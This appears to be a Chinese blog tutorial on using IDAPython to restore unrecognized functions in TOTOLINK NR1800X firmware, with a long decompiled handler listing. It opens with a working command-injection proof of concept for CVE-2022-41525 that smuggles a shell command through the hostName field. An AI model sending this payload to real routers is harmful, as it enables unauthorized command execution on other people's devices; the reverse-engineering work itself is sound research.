前言
最近在学习totolink的固件,但是这些固件在IDA中识别有问题,很多字符串和函数在IDA中都识别不到,需要我们借助IDAPython来修复不识别的函数。
实现
我这次采用的示例固件是 nr1800x,此固件存在以下的漏洞

固件版本:V9.1.0u.6279_B20210910
link:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html

导入IDA中后发现很多.text段的函数无法识别,颜色是红色的

以CVE-2022-41525的poc为例,漏洞点在函数setOpModeCfg,在topicurl字段中的就是函数名称
import requestsurl = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi"cookie = {"Cookie":"uid=1234"}data = {'topicurl' : "setOpModeCfg","proto" : "8","switchOpMode" : "1","hostName" : "';ls -lh ../ ;'"}response = requests.post(url, cookies=cookie, json=data)print(response.text)print(response)
在固件的main函数中可以看到如下逻辑

从44B040处开始遍历,该地址加0x44字节后是下一个函数的地址

这个地址上是存着一个函数地址,即函数sub_42C25C

44B040地址加4字节是下一个函数的名称,44B040加44字节是位置上保存的是下一个函数的地址

之后的结构就都是类似的。我们知道这个规则后就可以写ida脚本获取函数名和地址的对应关系
这里用到的ida函数如下
首先0x44B000位置上的字符串为setLanguageCfg,对应的函数在+40字节的位置,即0x44B040,获取该地址的dword为0x42cd48
# 获取该地址的dword
idc.get_wide_dword(ea)
Python>get_wide_dword(0x44B040)
0x42cd48
如果函数0x42cd48不存在,我们用以下的函数可以生成函数
idaapi.add_func(0x42cd48)
更进一步我们可以根据函数名和函数的映射关系重命名函数
Python>set_name(0x428c84, "setWizardCfg_428c84", SN_CHECK)
True
Caching 'Functions'... ok
然后我们还可以导出反编译的函数,自动化的搞些分析
Python>idaapi.decompile(0x428c84)
int __fastcall setWizardCfg_428c84(int a1)
{
int Var; // $v0
unsigned int v3; // $fp
int v4; // $v0
int v5; // $v0
int v6; // $s3
int v7; // $s4
int v8; // $s5
int v9; // $s6
int v10; // $s7
int v11; // $s1
int v12; // $s1
int v13; // $s3
int v14; // $s4
int v15; // $s2
int v16; // $s5
int v17; // $s1
int v18; // $s5
int v19; // $s6
int v20; // $s7
int v21; // $v0
int v22; // $s3
int v23; // $s4
int v24; // $s1
int v25; // $v0
int v26; // $v0
int v27; // $v0
int v28; // $s2
int v29; // $a0
int v30; // $s5
int v31; // $s6
int v32; // $s7
int v33; // $v0
int v34; // $s3
int v35; // $s4
int v36; // $s1
int v37; // $v0
int v38; // $s2
int v39; // $s2
int v40; // $s1
int v41; // $s5
int v42; // $s6
int v43; // $s7
int v44; // $s4
int v45; // $s3
int v46; // $s1
int v47; // $v0
int v48; // $s5
int v49; // $s6
int v50; // $v0
int v51; // $s3
int v52; // $v0
int v53; // $v0
int v54; // $s7
int v55; // $v0
int v56; // $v0
_BYTE *v57; // $s2
int v58; // $a0
int v59; // $s1
int v60; // $v0
int v61; // $s3
int v62; // $s4
_BYTE *v63; // $s6
int v64; // $v0
int v65; // $s5
int v66; // $v0
int v67; // $v0
int v68; // $s7
int v69; // $v0
int v70; // $v0
int v71; // $s1
int v72; // $v0
int v74; // $v0
int v75[3]; // [sp+18h] [-138h] BYREF
char v76; // [sp+24h] [-12Ch]
char v77[128]; // [sp+28h] [-128h] BYREF
char v78[128]; // [sp+A8h] [-A8h] BYREF
int v79; // [sp+128h] [-28h]
int v80; // [sp+12Ch] [-24h]
int v81; // [sp+130h] [-20h]
_BYTE *v82; // [sp+134h] [-1Ch]
int v83; // [sp+138h] [-18h]
int v84; // [sp+13Ch] [-14h]
int v85; // [sp+140h] [-10h]
int v86; // [sp+144h] [-Ch]
int v87; // [sp+148h] [-8h]
int v88; // [sp+14Ch] [-4h]
memset(v75, 0, sizeof(v75));
v76 = 0;
memset(v77, 0, sizeof(v77));
memset(v78, 0, sizeof(v78));
Var = websGetVar(a1, "tz", "UTC-8");
nvram_set("time_zone", Var);
v82 = (_BYTE *)websGetVar(a1, "loginpass", "");
if ( *v82 && !Validity_check(v82) )
nvram_set("http_passwd", v82);
v3 = sub_4217D0(a1);
if ( v3 < 2 )
{
v4 = websGetVar(a1, "proto", &word_4370EC);
v5 = atoi(v4);
switch ( v5 )
{
case 0:
v6 = websGetVar(a1, "staticIp", "");
v7 = websGetVar(a1, "staticMask", &word_4370EC);
v8 = websGetVar(a1, "staticGw", "");
v9 = websGetVar(a1, "staticMtu", "1500");
v10 = websGetVar(a1, "priDns", "");
v11 = websGetVar(a1, "secDns", "");
nvram_set(&unk_435EBC, "static");
nvram_set("wan_dnsenable_x", &word_4370EC);
nvram_set("wan_ipaddr", v6);
nvram_set("wan_netmask", v7);
nvram_set("wan_gateway", v8);
nvram_set("wan_mtu", v9);
nvram_set("wan_dns1_x", v10);
nvram_set("wan_dns2_x", v11);
LABEL_24:
v29 = a1;
LABEL_25:
v39 = websGetVar(v29, "cloneMac", "");
v40 = websGetVar(a1, "clone", &word_4370EC);
nvram_set("wan_clone_en", v40);
if ( atoi(v40) )
{
mac_del_split(v39, v75);
nvram_set("wan_hwaddr_x", v75);
}
else
{
nvram_set("wan_hwaddr_x", "");
}
goto LABEL_28;
case 1:
v12 = websGetVar(a1, "dhcpMtu", "1500");
nvram_set(&unk_435EBC, "dhcp");
nvram_set("wan_dnsenable_x", "1");
nvram_set("wan_mtu", v12);
goto LABEL_24;
case 3:
v13 = websGetVar(a1, "pppoeUser", "");
v14 = websGetVar(a1, "pppoePass", "");
v15 = websGetVar(a1, "pppoeMtu", "1492");
v16 = websGetVar(a1, "pppoeServiceName", "");
v17 = websGetVar(a1, "pppoeAcName", "");
nvram_set(&unk_435EBC, "pppoe");
nvram_set("wan_dnsenable_x", "1");
nvram_set("wan_pppoe_mtu", v15);
nvram_set("wan_pppoe_username", v13);
nvram_set("wan_pppoe_passwd", v14);
nvram_set("wan_pppoe_service", v16);
nvram_set("wan_pppoe_ac", v17);
goto LABEL_24;
case 4:
v18 = websGetVar(a1, "pptpIp", "");
v19 = websGetVar(a1, "pptpMask", "");
v20 = websGetVar(a1, "pptpGw", "");
v84 = websGetVar(a1, "priDns", "");
v83 = websGetVar(a1, "secDns", "");
v86 = websGetVar(a1, "pptpServerIp", "");
v21 = websGetVar(a1, "pptpDomainFlag", &word_4370EC);
v81 = atoi(v21);
v85 = websGetVar(a1, "pptpServerDomain", "");
v22 = websGetVar(a1, "pptpUser", "");
v23 = websGetVar(a1, "pptpPass", "");
v24 = websGetVar(a1, "pptpMtu", "1460");
v25 = websGetVar(a1, "pptpMppe", &word_4370EC);
v80 = atoi(v25);
v26 = websGetVar(a1, "pptpMppc", &word_4370EC);
v79 = atoi(v26);
v27 = websGetVar(a1, "pptpMode", &word_4370EC);
v28 = atoi(v27);
nvram_set(&unk_435EBC, "pptp");
nvram_set("wan_pptp_mtu", v24);
nvram_set("wan_pppoe_username", v22);
nvram_set("wan_pppoe_passwd", v23);
nvram_set("wan_ipaddr", v18);
nvram_set("wan_netmask", v19);
nvram_set("wan_gateway", v20);
nvram_set("wan_dns1_x", v84);
nvram_set("wan_dns2_x", v83);
if ( v81 )
nvram_set("wan_ppp_peer", v85);
else
nvram_set("wan_ppp_peer", v86);
nvram_set_int("wan_ppp_mppe", v80);
nvram_set_int("wan_ppp_mppc", v79);
if ( !v28 )
{
LABEL_16:
nvram_set("x_DHCPClient", "1");
nvram_set("wan_dnsenable_x", "1");
goto LABEL_24;
}
break;
default:
v29 = a1;
if ( v5 != 6 )
goto LABEL_25;
v30 = websGetVar(a1, "l2tpIp", "");
v31 = websGetVar(a1, "l2tpMask", "");
v32 = websGetVar(a1, "l2tpGw", "");
v81 = websGetVar(a1, "priDns", "");
v80 = websGetVar(a1, "secDns", "");
v33 = websGetVar(a1, "l2tpDomainFlag", &word_4370EC);
v79 = atoi(v33);
v84 = websGetVar(a1, "l2tpServerIp", "");
v83 = websGetVar(a1, "l2tpServerDomain", "");
v34 = websGetVar(a1, "l2tpUser", "");
v35 = websGetVar(a1, "l2tpPass", "");
v36 = websGetVar(a1, "l2tpMtu", "1460");
v37 = websGetVar(a1, "l2tpMode", &word_4370EC);
v38 = atoi(v37);
nvram_set(&unk_435EBC, "l2tp");
nvram_set("wan_l2tp_mtu", v36);
nvram_set("wan_pppoe_username", v34);
nvram_set("wan_pppoe_passwd", v35);
nvram_set("wan_ipaddr", v30);
nvram_set("wan_netmask", v31);
nvram_set("wan_gateway", v32);
nvram_set("wan_dns1_x", v81);
nvram_set("wan_dns2_x", v80);
if ( v79 )
nvram_set("wan_ppp_peer", v83);
else
nvram_set("wan_ppp_peer", v84);
if ( !v38 )
goto LABEL_16;
break;
}
nvram_set("x_DHCPClient", &word_4370EC);
nvram_set("wan_dnsenable_x", &word_4370EC);
goto LABEL_24;
}
LABEL_28:
v41 = websGetVar(a1, "wanStrategy", &word_4370EC);
v42 = websGetVar(a1, "vlanEnabled", &word_4370EC);
v43 = websGetVar(a1, "vlanVidCpu", &word_4370EC);
v44 = websGetVar(a1, "vlanPriCpu", &word_4370EC);
v88 = websGetVar(a1, "vlanVidIptv", &word_4370EC);
websGetVar(a1, "vlanPriIptv", &word_4370EC);
v87 = websGetVar(a1, "vlanVidLan1", &word_4370EC);
v86 = websGetVar(a1, "vlanPriLan1", &word_4370EC);
v85 = websGetVar(a1, "vlanVidLan2", &word_4370EC);
v84 = websGetVar(a1, "vlanPriLan2", &word_4370EC);
v83 = websGetVar(a1, "vlanVidLan3", &word_4370EC);
v81 = websGetVar(a1, "vlanPriLan3", &word_4370EC);
v80 = websGetVar(a1, "vlanVidLan4", &word_4370EC);
v79 = websGetVar(a1, "vlanPriLan4", &word_4370EC);
v45 = websGetVar(a1, "iptvVer", &word_4370EC);
v46 = websGetVar(a1, "iptvEnabled", 4419820);
nvram_set("iptvEnabled", v46);
if ( atoi(v46) )
{
nvram_set("iptvVer", v45);
nvram_set("wan_stb_x", v41);
nvram_set("vlan_filter", v42);
nvram_set("vlan_vid_cpu", v43);
nvram_set("vlan_pri_cpu", v44);
nvram_set("vlan_vid_iptv", v88);
nvram_set("vlan_pri_cpu", v44);
nvram_set("vlan_vid_lan1", v87);
nvram_set("vlan_pri_lan1", v86);
nvram_set("vlan_vid_lan2", v85);
nvram_set("vlan_pri_lan2", v84);
nvram_set("vlan_vid_lan3", v83);
nvram_set("vlan_pri_lan3", v81);
nvram_set("vlan_vid_lan4", v80);
nvram_set("vlan_pri_lan4", v79);
}
else
{
nvram_set("wan_stb_x", &word_4370EC);
nvram_set("vlan_filter", &word_4370EC);
}
v47 = websGetVar(a1, "wifiOff", &word_4370EC);
v48 = atoi(v47);
v49 = websGetVar(a1, "ssid", "");
websGetVar(a1, "key", "");
websGetVar(a1, "hssid", &word_4370EC);
v50 = websGetVar(a1, "hssid", &word_4370EC);
v51 = atoi(v50);
v52 = websGetVar(a1, "wpaMode", &word_4370EC);
v79 = atoi(v52);
v53 = websGetVar(a1, "encryptionWay", &word_4370EC);
v54 = atoi(v53);
v55 = websGetVar(a1, "encryptionType", &word_4370EC);
v80 = atoi(v55);
v56 = websGetVar(a1, "keyType", &word_4370EC);
v81 = atoi(v56);
v57 = (_BYTE *)websGetVar(a1, "key", "");
nvram_set_int("rt_radio_x", v48 == 0);
urldecode(v49, v77);
nvram_set("rt_ssid", v77);
nvram_set_int("rt_closed", v51);
if ( nvram_get_int("wifi_wepwpa_support") == 1 )
{
nvram_wlan_set_int(0, "encryption_way", v54);
if ( v54 )
{
if ( (unsigned int)(v54 - 1) >= 2 )
{
v58 = a1;
if ( (unsigned int)(v54 - 3) >= 3 )
goto LABEL_62;
nvram_wlan_set(0, "key1", "");
nvram_wlan_set(0, "auth_mode", "psk");
switch ( v80 )
{
case 3:
nvram_wlan_set(0, "crypto", "tkip");
break;
case 4:
nvram_wlan_set(0, "crypto", "aes");
break;
case 5:
nvram_wlan_set(0, "crypto", "tkip+aes");
break;
}
nvram_wlan_set(0, "wep_x", &word_4370EC);
nvram_wlan_set_int(0, "key_type", v81);
switch ( v54 )
{
case 3:
nvram_wlan_set(0, &unk_4363E8, "1");
break;
case 4:
nvram_wlan_set(0, &unk_4363E8, &word_4366E0);
break;
case 5:
nvram_wlan_set(0, &unk_4363E8, &word_4370EC);
break;
}
nvram_wlan_set(0, "wpa_psk", v57);
}
else
{
nvram_wlan_set(0, "auth_mode", "open");
if ( v80 == 1 )
{
nvram_wlan_set(0, "wep_x", "1");
}
else if ( v80 == 2 )
{
nvram_wlan_set(0, "wep_x", &word_4366E0);
}
nvram_wlan_set_int(0, "key_type", v81);
nvram_wlan_set(0, "key", "1");
nvram_wlan_set(0, "key1", v57);
nvram_wlan_set(0, "crypto", "aes");
}
}
else
{
nvram_wlan_set(0, "auth_mode", "open");
nvram_wlan_set(0, "wep_x", &word_4370EC);
}
}
else
{
nvram_set("rt_wpa_psk", v57);
if ( *v57 )
{
nvram_set("rt_auth_mode", "psk");
if ( v79 == 1 )
{
nvram_set("rt_wpa_mode", &word_4366E0);
nvram_set("rt_guest_wpa_mode", &word_4366E0);
}
else
{
if ( v79 != 2 )
{
v58 = a1;
goto LABEL_62;
}
nvram_set("rt_wpa_mode", "6");
nvram_set("rt_guest_wpa_mode", "6");
}
}
else
{
nvram_set("rt_auth_mode", "open");
nvram_set("rt_wpa_mode", &word_4366E0);
nvram_set("rt_guest_wpa_mode", &word_4366E0);
}
}
v58 = a1;
LABEL_62:
v59 = websGetVar(v58, "merge", &word_4370EC);
nvram_set("wlan_merge_custom", v59);
if ( atoi(v59) )
{
nvram_wlan_set_int(0, "band_steering", 1);
nvram_wlan_set_int(1, "band_steering", 1);
}
else
{
nvram_wlan_set_int(0, "band_steering", 0);
nvram_wlan_set_int(1, "band_steering", 0);
}
v60 = websGetVar(a1, "wifiOff5g", &word_4370EC);
v61 = atoi(v60);
v62 = websGetVar(a1, "ssid5g", "");
v63 = (_BYTE *)websGetVar(a1, "key5g", "");
v64 = websGetVar(a1, "hssid5g", &word_4370EC);
v65 = atoi(v64);
v66 = websGetVar(a1, "wpaMode5g", &word_4370EC);
v79 = atoi(v66);
v67 = websGetVar(a1, "encryptionWay_5g", &word_4370EC);
v68 = atoi(v67);
v69 = websGetVar(a1, "encryptionType_5g", &word_4370EC);
v80 = atoi(v69);
v70 = websGetVar(a1, "keyType_5g", &word_4370EC);
v81 = atoi(v70);
v71 = websGetVar(a1, "key_5g", "");
nvram_set_int("wl_radio_x", v61 == 0);
urldecode(v62, v78);
nvram_set("wl_ssid", v78);
nvram_set_int("wl_closed", v65);
if ( nvram_get_int("wifi_wepwpa_support") == 1 )
{
nvram_wlan_set_int(1, "encryption_way", v68);
if ( v68 )
{
if ( (unsigned int)(v68 - 1) >= 2 )
{
if ( (unsigned int)(v68 - 3) < 3 )
{
nvram_wlan_set(1, "auth_mode", "psk");
switch ( v80 )
{
case 3:
nvram_wlan_set(1, "crypto", "tkip");
break;
case 4:
nvram_wlan_set(1, "crypto", "aes");
break;
case 5:
nvram_wlan_set(1, "crypto", "tkip+aes");
break;
}
nvram_wlan_set(1, "wep_x", &word_4370EC);
nvram_wlan_set_int(1, "key_type", v81);
switch ( v68 )
{
case 3:
nvram_wlan_set(1, &unk_4363E8, "1");
break;
case 4:
nvram_wlan_set(1, &unk_4363E8, &word_4366E0);
break;
case 5:
nvram_wlan_set(1, &unk_4363E8, &word_4370EC);
break;
}
nvram_wlan_set(1, "wpa_psk", v71);
}
}
else
{
nvram_wlan_set(1, "auth_mode", "open");
if ( v80 == 1 )
{
nvram_wlan_set(1, "wep_x", "1");
}
else if ( v80 == 2 )
{
nvram_wlan_set(1, "wep_x", &word_4366E0);
}
nvram_wlan_set_int(1, "key_type", v81);
nvram_wlan_set(1, "key", "1");
nvram_wlan_set(1, "key1", v71);
nvram_wlan_set(1, "crypto", "aes");
}
}
else
{
nvram_wlan_set(1, "auth_mode", "open");
nvram_wlan_set(1, "wep_x", &word_4370EC);
}
}
else
{
nvram_set("wl_wpa_psk", v63);
if ( *v63 )
{
nvram_set("wl_auth_mode", "psk");
if ( v79 == 1 )
{
nvram_set("wl_wpa_mode", &word_4366E0);
nvram_set("wl_guest_wpa_mode", &word_4366E0);
}
else if ( v79 == 2 )
{
nvram_set("wl_wpa_mode", "6");
nvram_set("wl_guest_wpa_mode", "6");
}
}
else
{
nvram_set("wl_auth_mode", "open");
nvram_set("wl_wpa_mode", &word_4366E0);
nvram_set("wl_guest_wpa_mode", &word_4366E0);
}
}
nvram_set("wizard_flag", &word_4370EC);
nvram_commit();
if ( v3 )
{
doSystem("lktos_reload reboot");
v72 = nvram_safe_get("reboot_time");
setResponse(v72, "reserv");
return 1;
}
else
{
notify_rc("restart_iptv");
notify_rc("restart_switch_config");
notify_rc("restart_whole_lan");
notify_rc("restart_firewall");
notify_rc("restart_switch_vlan");
notify_rc("restart_wifi_wl");
notify_rc("restart_whole_wan");
notify_rc(&unk_43813C);
v74 = nvram_get("http_passwd");
if ( strcmp(0, v74) )
{
if ( !Validity_check(v82) )
doSystem("lktos_reload %s", "restart_httpd");
}
setResponse("30", "reserv");
return 1;
}
}
可以看到修复修复所有函数之后基本上不识别函数的问题解决了

还有两个函数没有识别,手动解决一下
网友评论